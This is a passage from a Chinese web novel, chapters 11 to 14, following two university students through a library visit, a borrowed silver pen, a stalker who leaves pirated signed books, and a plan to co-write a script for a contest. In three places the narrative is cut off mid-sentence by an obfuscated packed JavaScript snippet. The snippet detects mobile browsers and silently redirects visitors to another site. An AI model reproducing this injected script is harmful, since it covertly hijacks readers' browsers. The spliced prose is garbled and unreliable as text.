在祝君忱扒第一口饭的时候，颜语凉期待地望向他：“怎么样？和你们校区的炒饭比哪个更好吃？” 祝君忱说很好吃，但是做不出个比较，提议他：“你下次来我们那尝尝。” “什么时候？”颜语凉这次长了个心眼，得问清楚对方什么时候有空才行。 “就周三课多。”祝君忱说。 “那就下周这个时候吧。” 祝君忱跟颜语凉说了些他们食堂的招牌菜，把他说得看着碗里的炒饭索然无味。饭间，颜语凉还问了他下午有没有课，得知对方一整个下午都有空后决定吃完饭带他去上次约好的图书馆转转。 A大东校区的图书馆确实是所有校区里最好的，足足有四层，每一层都有阅读区、自习区、朗读区、书架区，位置实行预约制，预约起来也很方便。 馆内有一面很大的落地窗，自习区都设立在靠窗的地方，学累了就能远眺，嫌亮就能把帘子拉上些，天花板挑高，显得地方更加宽敞明朗。 有这么一个图书馆，不爱念书的学生都爱往这跑，在阅读区看个小说就能待上一下午。 祝君忱上午十点多下课直接开车来了东校区，包里有两本上午刚用过的经济学的书，颜语凉和他面对面坐在一张桌子上，经过同意后随手翻了两页，发现全是密密麻麻的小字和图。 头都晕了。 颜语凉坐下来，一副晕字样：“我只看到了字，没有看到钱。” 祝君忱用笔盖子敲敲那两本同他指节一样厚的书籍说：“但是你能看到钱是如何堆积成山的，以及潜在的风险和机遇。” 11. 粉天鹅 颜语凉又翻了两页书，看到一个很可爱的名字，便问道:“什么是鸟笼逻辑？” 他一边去看书上枯燥的文字描述和一些具体的运用，一边听着祝君忱同他低声讲解，现在是午饭时间，图书馆的人较少，他们周边放着书的位置都没有人，所以可以没有顾虑地轻声交流。 “鸟笼逻辑讲的是如果你有了一个漂亮精致的鸟笼，你会去想养一只鸟，养了一只鸟就会想给它买很多好吃的好玩的，比如小水壶，小秋千，即使这些东西并不是必需品。” “原来这叫鸟笼逻辑啊，我还以为是我爱花钱呢。”颜语凉似是想起了什么，说，“我家里养了一只猫，后来我买了各种猫用品，猫玩具也是看到就想买给它，尽管它不爱玩。” 祝君忱接过他递过来的书，发现自己记的笔记边上多了一个可爱的小猫笑脸:“它叫什么名字？” “想想。”颜语凉说。 “为什么叫这个？”祝君忱问。 颜语凉脸上露出诧异的表情说:“邹煜安他们都以为我让他们猜猜猫的名字，没想到就叫想想，你居然没有被我骗到。” 祝君忱薄唇抿了一下，勾出一个好看的弧度:“是因为想不出来吗？” “嗯，”颜语凉满脸写着“知我者你也”，从包里翻出一支笔转着，说，“想想的意思是，想了很久想不出来不想想了，简称想想。” 祝君忱闷声笑起来，可能是在图书馆的缘故，他的声音被压得很低。 颜语凉看着他被逗笑，心情愈加愉悦:“你们学经济、金融的，还有没有什么好玩的故事？我们写剧本的最爱听故事。” 祝君忱执着笔，笔盖抵在书封上，似乎在思考有哪些有趣的东西。 “有没有那种名字很浪漫的。”颜语凉引导道。 “有，”祝君忱想到了，“黑天鹅效应。” 闻言，颜语凉确实来了兴致:“那是什么？哄抬黑天鹅物价？” 祝君忱摇摇头说:“严格来说黑天鹅效应不是经济学上的名词。在很久之前，大概十七世纪，欧洲人认为天鹅只有白色，直到他们在别的地方发现了黑天鹅。后来人们就把黑天鹅比作不可预知的、影响巨大的事件，泰坦尼克号就是典型的黑天鹅事件。” 颜语凉却发散思维:“那要是一个人不可预知的爱上了另外一个人，无法自拔，算不算黑天鹅事件？” 祝君忱挑眉:“黑天鹅事件的影响一般是坏的，而且是极坏。如果那个人爱上了一个想毁灭世界的人，并且帮助他毁灭世界，而且世界真的被他毁灭了的话，那就叫黑天鹅事件。” “经济学还是太不浪漫了，”颜语凉有些遗憾地说，“希腊神话里有个关于天鹅的故事，但是说起来有点不伦不类，你想听吗？” 祝君忱没有拒绝，颜语凉便继续说:“宙斯爱上了一位国王的妻子，为了接近她化成一只天鹅，后来为了纪念这份感情，把天鹅化升成了天鹅座。” “他为什么要变成天鹅？”祝君忱倒真的没听过这个故事。 “因为怕被他老婆发现。”颜语凉支着腮，“天后非常地善妒。其实也挺无趣的，天神爱搞婚外情，天后善妒却仍然想身居高位。” 祝君忱没有评判这个故事的好坏，他们又聊了一些话题，旁边零零散散来了些自习的同学，他们便不再说话了。 颜语凉转了会儿平板笔，打开了之前没拉完的片开始看。 两个人在图书馆待了很长一段时间，在靠近五点的时候祝君忱接了通电话，称有事便提前离开。 颜语凉点点头看着他收拾完书本和他道了别。 他面前的平板上，暂停着一部已经播到片尾的电影，分屏的笔记软件上写得零零散散又满满当当。 看了一下午，眼睛有些累了。 他便站起来往书架那边走一圈，2楼的书架是专门放网络小说的，他总喜欢在这些架子上找自己的名字。 今天他的目光从自己写的书上一扫而过，转而落在了那台用于搜索图书馆所录书目的电脑上。 敲击键盘搜索——黑天鹅。 果然出现了几本与经济学相关的书以及各本书的定位。 颜语凉就近找了一本，靠着书柜轻轻翻开，看着里面确实讲了很多黑天鹅事件，但更多的是关于经济方面的、关于金融危机的。 颜语凉也不知道翻这本书干嘛，他既没有兴趣，对自己本身的学习生活也没什么用。但他还是又看了一遍关于黑天鹅效应的定义，想起祝君忱跟他讲起这个故事的神情。 其实他觉得，遇见祝君忱就是一件之前完全没有预测到的、对他影响极大的事情，但是又不能说是极坏，那他是不是可以勉为其难地称之为白天鹅效应？ 或者粉天鹅效应？ 颜语凉心说他怎么想这么奇怪，嘀咕着把这本书放回书架，回到原本的座位上。 手机正好在这时候弹出条信息。 爱发他手机短信的就那么一个人——他的导师。 这位导师年纪不大，却不喜欢用微信，要么用短信联系，要么用邮箱联系，再要么就漂流瓶联系。 今年开始不知道受了谁的指点，开始用微信，而且还搞了好几个号，乱七八糟的，还没有完全掌握。 他联系颜语凉还是习惯性地用短信。 颜语凉也不爱给电话簿备注，常给他打电话的人来电他一眼就能看出来是谁。 他点开短信，看着那串熟悉的号码。 【1XX XXXX XXXX】：小颜 【1XX XXXX XXXX】：你今天晚上有空来下我办公室吗？ 【颜语凉】：现在就有。 他放下手机抬头看一眼息屏的平板，正好那部电影看完了，可以整理一下去老师那。 颜语凉把平板收进书包，发现桌子上有一支不属于他的红色的笔。 这支笔的笔杆大体是红色的，中间有一部分透明无色，能看到里面的笔芯。 颜语凉拎起这支笔，发现它的手感很好、很轻，想起来这应该是祝君忱的记笔记用的红笔，可能是对方放下的时候不小心滚到他的平板底下了。 他想起来自己很久没有再买新的笔了，恰好这支的成色不错，打开购物软件打算买一支同款。 颜语凉很爱记笔记，但是买笔总是像今天这样心血来潮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758087|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍照搜索。 加载中…… 加载结果出来了。 颜语凉眼睛微微瞪大，因为他看到最佳匹配结果是一支一模一样的，价格要一百多。 ？？？ 什么笔要一百来块钱啊？ 镶金了还是戴银了？ 颜语凉有些不信邪地点进第一个商品，商家介绍这支笔的笔头是925银的，某博物馆同款。 还真是戴银的。 颜语凉一边拿着手机看，一边捏着这支笔，心想祝君忱真是有够心大，这么贵重的笔都没有收好。 他给这支镶银的笔拍了张“大头照”，正要给祝君忱发过去，突然感觉这个剧情有点熟悉。 第一次见面他顺走了祝君忱的手机。 第二次见面他和朋友蹭了祝君忱的车。 第三次见面就是现在他拿到了祝君忱的百元级红笔。 颜语凉腹诽：“祝君忱不会觉得我是扒手吧。” 【我无言以对】：[投降.jpg] 【我无言以对】：[图片] 【我无言以对】：你的笔落我这了。 【忱.】:送你了。 【我无言以对】：啊？ 【忱.】:算了，下次送你没用过的。 啊？ 感情改口不是因为这支笔比较贵重，而是怕他嫌弃被用过啊！ 【我无言以对】：不用不用，我晚上回家的时候给你送过去吧，你大概几点回家？ 【忱.】：七点。 颜语凉见祝君忱没有再提送笔的事，心里松了口气。 把这只笔放进书包最小的那一层，单手背上书包出了图书馆。 颜语凉的导师姓陆，是学院里很有名的一位教授，一届只带两个学生，他麾下的弟子一个个都很出名。 这一回喊他过去是为了“青年书锦大赛”的事。 该大赛简称“青书”，是一个专为青年剧作家、小说家设立的比赛，分为高中生组、大学生组和青年组，年龄低至15高至35都能参加，赛道分为剧本和小说，两个主赛道里还有几个细分，颜语凉高中的时候就参加过这个比赛，用一篇堪堪一万字的短篇小说《全部》一举拿下金奖，从此言不言的名字声震“江湖”。 大学本科的时候他也参加过一次，那两次选择的赛道都是小说。这一回他选择的是剧本赛道，这个比赛参加的人员多，拿奖的概率小，含金量高，对他的升学大有用处。 但是一开头他就遇到了一个难题——剧本赛道有一个要求就是合作参赛，需要由2-3个人组队协作完成，因为现实中进组的剧本不可能由一个人操刀，更多的是要多多听取其他人员的意见，为了让剧本的创作更加贴合实际就有了这个要求。 但是颜语凉没找到半个人和他组队，他想过廖寻桃，但是忙碌的桃大小姐刚开一本新书，总不能把文鸽了陪他参加比赛，他也想过于知，但是于知志在参加小说赛道。别说于知了，其实他认识的人里面都是写小说的多，想选剧本的寥寥无几。 导师喊他过去应该是想问他参加这个比赛的主题，正好可以让陆老师推荐几个合适的人组队。 12. 纠缠者 颜语凉看了一个暑假的电影对“青书大赛”的剧本主题已经有了一定的想法，他简单地跟老师谈论两句心中所想，便说了不知道找谁组队的事。 陆老师全名陆择，年纪看起来有五十岁了，头发不像信息学院那群老头掉得精光，但是能在银白的发丝间窥见岁月的痕迹，他笑起来嘴角牵起皱纹非常地和蔼，听说了颜语凉的困难，似乎早有预料，喝了口茶，笑眯眯地说：“我侄子正好挺空的，要不就让他和你一起写吧。” “侄子？”颜语凉眼皮一跳，他一向觉得关系户不是什么好东西，但是这是他最尊敬的导师的侄子，他忍住了立马拒绝的话，问道，“他写过剧本吗？” 陆择摇摇头：“他没写过剧本，但是他好像改编成剧的小说有两三部，具体笔名这小孩老是藏着掖着，我不太知道。” 颜语凉听着，对对方的“关系户”滤镜浅了一些，又问：“是我们学校的吗？同校的话更方便一点。” 陆择点点头：“但是他在西校区，经管院的，不过这小孩会开车，应该不会嫌麻烦，我记得你是不是不住校？他也不住，到时候你们互相去家里面讨论创作都行，而且他们经济学研二要到下学期课才多。” 颜语凉一听是经管院的，“关系户”滤镜又浅了很多，因为他突然想起来下午的时候祝君忱在他对面侃侃而谈的故事，再听到后面，感觉这个“人设”怎么那么耳熟，便再次追问:“他叫什么名字？” 陆择放下茶杯，顺手发了封邮箱回件，回答道：“祝君忱。” 啪。 “关系户”滤镜彻底碎了，变成“祝君忱”滤镜。 看不出来啊，原来他年纪轻轻都写出两三部改编成剧的小说了。 颜语凉是高中的时候开始在尽书上发表小说的，当时写的题材不适合改编成剧，后来上了大学学过很多专业知识后，知道了小说改编成剧有很大的风险与挑战，就没有动过签影视版权的念头。 如果有机会的话，他想把在写的最喜欢的那几本书亲自动手改编成影视剧或者电影。 陆择看他的表情有所变化，明显地感受到态度的软化，乘胜追击道：“可以的话我把微信推给你。” 颜语凉从兜里拿出手机，翻了两下就翻到了，点开对方的名片给导师看：“是这个吗？” 陆择凑近一瞧，说：“是这个，你们认识啊？” “嗯，刚认识没多久。”颜语凉又有些不确定地问，“他是自己想参加这个比赛，还是您觉得他太闲了让他过来凑个数？”毕竟这个奖对他们经济学没多大用。 陆择耸耸肩：“小祝自己跟我说的，最近在了解剧本上的事，然后我就说了这个比赛，他说如果缺人的话就可以喊上他，也算是一种体验，但是得你自己去说，决定权在他自己手上。” 颜语凉点点头谢过老师，转身出了办公室，顺手带上了门。 颜语凉顺路去食堂买了份面打包带回家吃。 拉开车门，把书包随手丢在副驾，疾驰而去。 他要去还笔，顺便跟祝君忱聊聊参加比赛的事。 九月已经在岗好几天，秋天的味道越来越浓，小区里槐树的叶子已经沾了些金色，昭示着秋天的步伐。 颜语凉把车停在车库里，单肩背着小黑包下车的时候看见旁边那辆车很眼熟，一看车牌居然真的是祝君忱的车。 他已经到家了！ 颜语凉心里没来由地美滋滋，一手扶着书包带子，一手拎着还热乎着的面，三步并两步往家里走去。 单元楼下是声控灯，这会儿天已经有点黑了，有人动静大一点经过，灯就会亮起来。 颜语凉走过去的时候发现灯亮着，转一个通道就能看到电梯，但是他的面色却一变。 “颜哥。”是一个男生，穿着白色的T恤和黑色的短裤，肤色不算白，看起来就是很热爱体育的类型。看着他雪白无染的上衣，颜语凉想起来祝君忱今天也穿了一件白色的，但是比他穿着好看多了。 “晚上好。”这人见颜语凉不回话，又打招呼道。 颜语凉脸上原本还挂着的笑在听见他声音的那一刻消失殆尽。 “园芮任，你在这干什么？”颜语凉冷声叫出他的名字。 “我来找你啊。”一副天真纯良的样子，园芮任手上有一个箱子，说着想把箱子递给他，“抱歉啊颜哥，上次是我误会了你的意思，我那样做是因为我——” “嘭——” 颜语凉见他靠近不自觉地后退一步，没有接住那个不小的箱子。 里面的东西哗啦啦落了一地，全是书，还有一些书签贺卡。 颜语凉花0.1秒认出这是自己的书，现在花花绿绿地摊在地上，他心疼地撇了撇嘴。 “哎，”园芮任似乎也很心痛，“这可是我收了一个暑假的书！” “这些是什么？”颜语凉看着他弯腰一本本捡起地上的书放回箱子里，难免心软了一下。 “我听说你喜欢言不言，所以花了大价钱去网上买了他各种书，你看——”园芮任翻开一本书，上面又几道黑色粗水笔签的字，“还有他的亲笔签名呢！” “……”颜语凉松了一些的嘴角又开始往下撇，胃里翻起一阵恶心，不耐烦道，“这本书是言不言高中写的，发售的时候根本没签过名。” 园芮任游刃有余地说：“听说是后来签售会粉丝带过去亲自签的。”说话间已经把书七七八八都收进了箱子里，还要递给他。 签售会什么鬼东西，他颜语凉从来没有开过。 他推了一下箱子，重复自己说了无数次的话：“你以后离我远点行不行？我不管是谁告诉你我住这的，下次再让我看见你在这我就喊保安。” “颜哥……”园芮任露出可怜的表情，颜语凉心说于知做这个表情怎么没这么恶心。 “颜哥，我真的很喜欢你，我知道你喜欢言不言后我……” “闭嘴，”颜语凉打断道，声音不自觉拉高了一些，“别烦我了行不行，谁跟你说我喜欢言不言了？” 园芮任包装完好的脸上有点裂。 就在这时，电梯门开了，这是颜语凉想过的较为糟糕的场面——被别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758088|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人撞见他们在楼道里吵架。 颜语凉收起看向园芮任的目光，挪到电梯里，瞳孔微不可察的颤了一下，因为下来的人是祝君忱。 好了，现在是颜语凉没想到过的最为糟糕的场面——被祝君忱撞见他们在楼道里纠缠。 “颜语凉？”好熟悉的疑问句。 颜语凉闷声应着，心里腾起尴尬又感到无比难过。 园芮任倒比他表现地还殷勤，见人就喊：“祝队？” 祝君忱没回他，只是盯着颜语凉手上拎着的疑似食堂外带食物说：“你晚上就吃这个？” 颜语凉见他关注点这么偏，不自觉勾起一个笑，把外带塑料盒拎到面前说：“还热着呢。” “那也不好吃了。”祝君忱脸上露出一抹遗憾。 被忽略的园芮任似乎没有感受到那种被忽视的尴尬继续凑上去寒暄：“祝队，你跟小颜认识呀？” 颜语凉转头看向他，听到对方亲切地唤着自己，又被恶心得不轻，嘴角刚攀上的笑意没了，满脸写着“看不出来吗？”。 祝君忱这才偏头去看园芮任，盯着他好久，很明显在思考他是谁，直到对方开始自报家门：“我是信管学院院篮球队的队员，祝队，上个学期决赛就是我们两个学院打的。” 祝君忱凝眉想了想，看不出是想起来了还是根本没想起来，脸上依旧没有什么生动的表情，倒是怼道：“这和你为什么在这有关系吗？” 被莫名其妙怼了的园芮任终于看清楚对方是跟颜语凉统一战线的，他挺着胸脯不服道：“那你为什么在这？” 颜语凉用一种看弱智的眼神看着他：“他住这啊。” “你俩住一起吗？”园芮任眉头一皱。 颜语凉忍着破口大骂的心情推着他请他滚，奈何这人被赶走前仍然不死心，留下了那个装着言不言所著书的箱子。 祝君忱看着他站在单元门口很头痛地看着这个箱子，问：“这是什么？” 颜语凉翻开盖在最上边的几片明信片示意他仔细看，祝君忱看着那几本书，眸光微动，评价道：“不太像正版。” 颜语凉目光从这些书的书封上一扫而过，心里又一冷，先前在电梯口灯光比较暗也没仔细看，这会儿确实能看出来这些书的书脊都和正版相差甚远。 什么到处收的，估计是某红色爱心购物软件上几块钱直接淘的。 这和班门弄斧也没差了。 如果这人知道他在原作者面前送盗版书、盗版签名，估计肠子都能悔青吧。 祝君忱偏头看了颜语凉一眼，似乎在询问想怎么处理这箱书。 颜语凉气得牙痒痒，拿起手机想定个同城速递，不愿碰箱子一下，得赶紧送回他学校去。 又咬着后槽牙吐槽道：“给廖寻桃，廖寻桃都得撕了喂狗。” 祝君忱想起来刚到电梯口时听到的颜语凉说的话，问：“你也不喜欢言不言吗？” 呃。 言不言本人正在下单同城快递的手顿住了。 什么意思。 祝君忱不喜欢言不言吗？ 13. 易爆物 颜语凉听着别扭，用一秒钟回想了一下自己网络作者的身份做过哪些可能让祝君忱不喜欢的行为。 斟酌片刻还是没有掩饰自己，诚实道：“我没有不喜欢言不言，你不喜欢吗？”毕竟后面要和对方合作参加比赛的话肯定要说笔名的。 他问出口的那一刻适时地抬起头，眼神平静地看着祝君忱，内心却焦灼万分。 这人回去换了身衣服，下午穿的是白色的，现在这身是深蓝色的，平添了几分神秘的冷，颜语凉在这一刻肯定地想:蓝色是和祝君忱最契合的颜色。 他们站得近，颜语凉都能闻到他身上淡淡的香味，他推测对方是刚洗过澡没多久。 洗完澡还出门，是为了什么呢？ 思绪发散间，祝君忱回答他说：“没，我有个朋友不喜欢。” 颜语凉垂头下完单嘀咕道：“那你下次把这个朋友介绍给我认识认识，我想知道他不喜欢言不言什么。” 祝君忱默了一秒说：“他喜欢今辰好。”带着不太明显的试探。 颜语凉几乎是立马改口：“那不用介绍给我认识了。” 转而又问：“那你喜欢谁？” 祝君忱眼睫半垂，目光落在那一箱书上，看不出半点情绪，说：“我没有喜欢的。” 颜语凉状似看着手机上的“下单完成”，余光却一直在看祝君忱，第六感告诉他对方可能说谎了，但是心里另一个小人却告诉他“祝君忱没必要说谎”。 快递员的电话立马就打了过来，打断了颜语凉的思路，说正好在最近的驿站，马上能到。 等这一箱子书被搬走，祝君忱指着他手上拎着的面说：“还热吗？” 颜语凉还想嘴硬两句，但是对方直接侧手托了一下，说：“底都凉了。” 都怪园芮任。 颜语凉没招了，却听对方邀请道：“我刚好做了点煎饼，来我家吃吗？” 秋天的风按时抵达九月的脚边，吹来了一片半黄的落叶，细细碎碎地弄出声响，夏天忘记抹尽的蝉响有一下没一下地奏着它们生命的最后一曲。 颜语凉头一歪，勾起一抹笑说：“好啊。” 感谢你，园芮任，虽然你人不太行，但是感谢你让我今晚能吃上祝君忱的煎饼。 他和祝君忱一起进了电梯，看着身侧的人按了十楼，不由自主地紧张起来。 颜语凉高中时候的朋友都停留在表面，没有去过朋友家里，到了大学的时候，有了三个关系较好的朋友，一开始大家都住在学校，后来本科毕业，廖寻桃租了房，但是他们几个都没去过，更多的是聚在“街角”小酒馆。颜语凉家里他们倒都来过几次，邹煜安尤胜，几乎每隔一段时间就想念他房子里的沙发和猫。 祝君忱的房子是极简风，进门一眼望过去第一感觉就是干净，让颜语凉一下子想起来他之前说的“暑假刚搬进来”，确实人气还不够足。 沙发是米白色的，上边铺着两块深蓝色的坐垫，放着两个墨蓝色小抱枕，很有设计感。 祝君忱拎起其中一个靠枕放在一边，对颜语凉说：“坐吧。” 颜语凉有些拘谨地点点头。 茶几上摆着用玻璃罩子罩着的一簇花，他坐在沙发上一下子就注意到了那两朵鲜艳的蓝玫瑰。 “好好看，这是真花还是假花？”颜语凉不自觉地往前凑近这个玻璃罩子。 “真花，”祝君忱从厨房里出来，说，“我妈说这是永生花，能放个一两年的。” 颜语凉没见过永生花，有些稀奇地左看看右看看研究了好久。 祝君忱似乎是刚准备好晚饭就下楼了，这会儿几个煎饼甚至还有些烫。 “什么馅的？”颜语凉的目光从花上挪开，感觉自己再不吃饭肚子就要开始怪叫了，接过祝君忱用油纸包着递过来的饼就啃了一口。 “你吃的这个应该是梅干菜扣肉。” “你怎么做这么多？”颜语凉看到对方端过来的盘子里还有三张饼，奇怪道。 “我明天早八，来不及做早饭。” “哦，”颜语凉觉得手上这个饼很香，“这是你自己做的吗，还是超市买的半成品？” 祝君忱坐在了他旁边，也拿了个煎饼：“我做的。” “这么厉害？！”颜语凉诧异道，“下次教教我呗，怪好吃的。” “好。”祝君忱应下来，往沙发上一靠，随后像是突然想起来似的说：“我想起来了，刚刚楼下那个男的，是隔壁院篮球队的。” 颜语凉没想到对方还会提到园芮任，闻言不禁嘀咕道：“这身高还能进篮球队。” 园芮任的身高跟女生比不算矮，但是在男生中只能算一般，颜语凉感觉自己都比他高一点。 祝君忱却说：“打篮球身高其实没有那么重要。” 颜语凉捧着饼睨他一眼：“那他很厉害吗？”话是这么问，但是满脸写着“你要是说他厉害我就当场噎死自己”。 祝君忱却笑，语气里不知带着几分玩笑：“你前男友？” “……我还没瞎。”颜语凉一听就撇起嘴，心说祝君忱也有眼神不好的一天。 手机一声嗡响，颜语凉下意识偏头去看摆在茶几上的手机，能在锁屏上隐约看到发来的信息的前半部分，只一眼，颜语凉没忍住就打开了手机。 【我是走远】：他又给你送东西了？@我无言以对 【我无言以对】：？ 【桃女王】：？ 【桃女王】：不会是那个植物园人吧。 【我是走远】：[图片] 邹煜安发了张截图，截图里是学校的学生论坛，这是一位学长组建的明面上没有老师的讨论区软件，很多时候被用于二手物件的出售与购买，还有日常事件的分享或者是吐槽。 颜语凉平时关注得很少，他们几个好友中只有邹煜安闲得没事去刷刷，说这个软件的创始人是他的直系学长，得向人家学习。 上学期快春天的时候，有人在论坛上发表了一个话题贴，话题贴名为“从今天开始追颜语凉”。 像这样关于他的帖子在论坛上有很多，起初邹煜安发给他的时候颜语凉不以为意，直到有个男生开始天天蹲着他上课的点送早饭。 每次颜语凉都是拒绝的，但是奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758089|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何人家放下豆浆包子就跑。 颜语凉作息不规律惯了，除非饿得不行就不吃早饭，现在的胃已经习惯了，但是若是有一顿没一顿地吃就会胃疼，更何况这个早饭还来路不明，所以他从来没吃过对方的送的东西，全都喂了垃圾桶。 送了一个月，颜语凉逃命一般接下《尘封水》进组，直接让人家找不着，终于消停了一段时间。一回来，连喘口气的时间都没有，就被对方加到了微信，三天两头地跟他找话题，颜语凉一开始礼貌性地回复，后来都懒得回了，之后对方被拉黑后改发短信，校园卡多，换着号嘘寒问暖。 祝君忱看着他表情有些不悦地打开手机问：“你很讨厌他？” “当然，这人很难评。” “有原因吗？” 颜语凉偏头看他，这人已经吃完了一张饼，慢条斯理地抽了张纸巾正在擦手。 他耸耸肩说：“你还挺八卦。” 颜语凉随手戳了两下手机，点开那个很久没有打开的论坛软件，搜索关键词找到了那个帖子。 一边递给祝君忱看，一边说：“这人上学期给我带了一个月早饭，天天在帖子里打卡，这就算了，后面有一段时间我不在学校他直接造谣我正在考虑他的告白，说离成功就一步之遥，然后后面还捏造了许多无中生有的事情，诸如我给他送了支笔，明明是我不知道什么时候掉地上的。” 祝君忱一边听，一边就着他的手看这个帖子，最新的帖子里，楼主得意地说自己送了颜语凉很多书，颜语凉很喜欢。 祝君忱的眸光在颜语凉没注意到的地方变得冰冷如铁。 颜语凉大致给他看了一遍帖子，把手机收回来，这一回是真的气得不轻，说：“这人有什么毛病，妄想症吗？” 颜语凉的论坛账号没有认证过，他直接去主页认证了自己的学院，随后在这条论坛底下发出评论。 【易燃易爆物（艺术学院）】： [图片][图片] 你送的盗版书我同城送回你校区了，记得收一下 再造谣你等着。 发完还给祝君忱看，祝君忱看着这条回复挑眉说：“你的挑衅怎么毛茸茸的，易燃易爆物？” 颜语凉闻言气得一口气把没吃完的那张饼全塞进嘴里，用力嚼嚼嚼咽下去说：“法制社会，我又不能找人套个麻袋把他打一顿。” 祝君忱伸手拍拍他的背：“那你打算这么算了？” “其实，”颜语凉被他拍拍很受用，放下手机又有了笑意，眼神里显露出几分讥讽，“其实这废物说的话论坛里也没几个人信，大多也就看个乐子，我颜语凉是他能轻轻松松追上的？我跟你说，还有人在论坛里出馊主意，说我喜欢小白花类型的男生，然后这人就腆着他的黄黑皮在我面前演小白花，神经病。” 这是祝君忱第一次听到颜语凉骂人，感觉很新奇，从茶几的篮子里取出两个杯子，把先前和煎饼一起拿过来的饮料倒进杯子里，顺着他的话问：“那你喜欢什么类型的男生？” 颜语凉接过杯子，低声说了声谢谢，眯起眼，回答：“喜欢我一眼就喜欢的男生。” 14. 画押纸 “什么样的男生能让你一眼就喜欢？”祝君忱也给自己倒了一杯，液体哗啦啦地倒入杯子，漾开水花。 颜语凉却晃晃那杯饮料，没有回答这个问题：“这位先生，按规矩该我问你了吧。” 不知道谁定的什么野生规矩，但是祝君忱应了：“问。” 茶几上最右上角有两本一看就是经济学专业的书，封皮是红白色的，被翻得半旧。 颜语凉眼神在那本书的书名上一扫而过，回击一般地开口：“那你喜欢什么类型的男生。” 祝君忱很轻地垂头笑了一声，只一秒就想好了回答：“我喜欢喜欢了很久的男生。” 颜语凉微不可察地拧了下眉，不大理解这句话的意思：“什么意思啊，这不是相悖了吗。” “不矛盾，”祝君忱示意他喝一口饮料，邀功般说，“尝尝，也是我自己榨的。” 不想有喜欢的人就直说。 颜语凉腹诽着垂头喝了一小口，眼睛就亮起来：“好好喝！” 很新鲜的橙子味，微甜不腻。咽下喉咙舌尖还有淡淡的橙香勾着人迫不及待想喝下一口。 “你自己榨的？”颜语凉没忍住又喝了两口就见了底，惊喜地说，“其实你不是A大的，你是新东方学烹饪的吧！” 祝君忱支着腮看他，含笑又给他倒了一杯。 “对了，”颜语凉终于想起来正事，从放在身侧的包里拿出那支笔还给祝君忱，一边说，“你好粗心啊，不是掉手机就是掉笔的。” 祝君忱不置可否，接过那支笔，起身说：“等我一下。” 颜语凉看着他进了一扇门，祝君忱进去的时候没有带上门，隐约能看见里面有一面很大的书架，书架上放慢了五颜六色的书——这是一个书房，颜语凉想起来导师说的“祝君忱也是一位作家”，这会儿像是窥见其中一角。 没等他再窥见什么，祝君忱很快就拿着个长条蓝盒子出来了。 “这个送你，”祝君忱把盒子递给他说，“就当谢谢你又是捡到我手机，又是捡到我红笔的。” 皮质的盒子，侧边有一些细碎的金色花纹，像海洋里的珊瑚礁。 颜语凉打开盒子，看到一支和刚刚还给对方的如出一辙的笔，惊道：“不行，太贵重了。” 他想起来祝君忱今天下午说的“下次送你一支没用过的”，没想到这个“下次”来得这么快。 祝君忱却摆了下手说：“不贵重，之前有亲戚在博物馆打工送了好几支。” 颜语凉看着这支笔越看越喜欢，退一步说：“要不我按市场价把钱转给你吧？” 祝君忱坐回他旁边，看着颜语凉目光全黏在这支笔上，眼角也勾勒出笑来，说：“不用，每个朋友我都送了，也算见面礼。” 颜语凉一下子压力小了很多，松了口气后立马又提了上来，心里盘算着下次也送对方一个什么。 手机里又响起消息，他抬手去看，仍然是地球研究组小群。 【我是走远】:[图片] 【我是走远】:不是，真把你当傻逼啊，送东西还送的盗版？ 【我无言以对】:他还说这里头都是言不言亲签呢。 【桃女王】:脑子被驴踢了吧？！ 【桃女王】：打听消息也打听不明白，居然还买盗版书？！ 【我无言以对】：他还说他大价钱收来的呢。 颜语凉发完这条消息，想起来祝君忱甚至比他先发现这些书的端倪，想起来今天导师说的合作参加竞赛的事，抬头问祝君忱：“你认识陆择吗？” 祝君忱在他回消息的时候正靠在沙发背上看手机，他的眉眼舒展看不出喜乐，等颜语凉回头看他的时候便非常自然地把目光从手机上挪开同颜语凉对视上，让人陡然生出一种这人就是在等你看他的错觉。 “认识。”祝君忱的眸光很轻地动了一下。 “他是我的导师，”颜语凉学着他之前那样支起腮看着对方，“我想参加‘青书大赛’剧本赛道，但是缺队友，陆老师说可以来找你，你愿意成为我的队友吗？” “可是我不是专业的，也没关系吗？” “专不专业都没关系，剧本创作说简单不简单，说难其实也不难，我主笔，你提供细节修改和部分细纲就行，写点人物小传啥的。这个暑假我一直埋头看电影，有一个想法，还蛮好玩的。” 祝君忱听他说话不自觉地坐直，听得认真，问：“什么想法？” 颜语凉眼珠子转了一圈：“下次告诉你，你今天得先跟我签字画押，保证和我组队，不临时反水。” 祝君忱莞尔：“我都住你楼下了，临时反水跑得掉吗？” 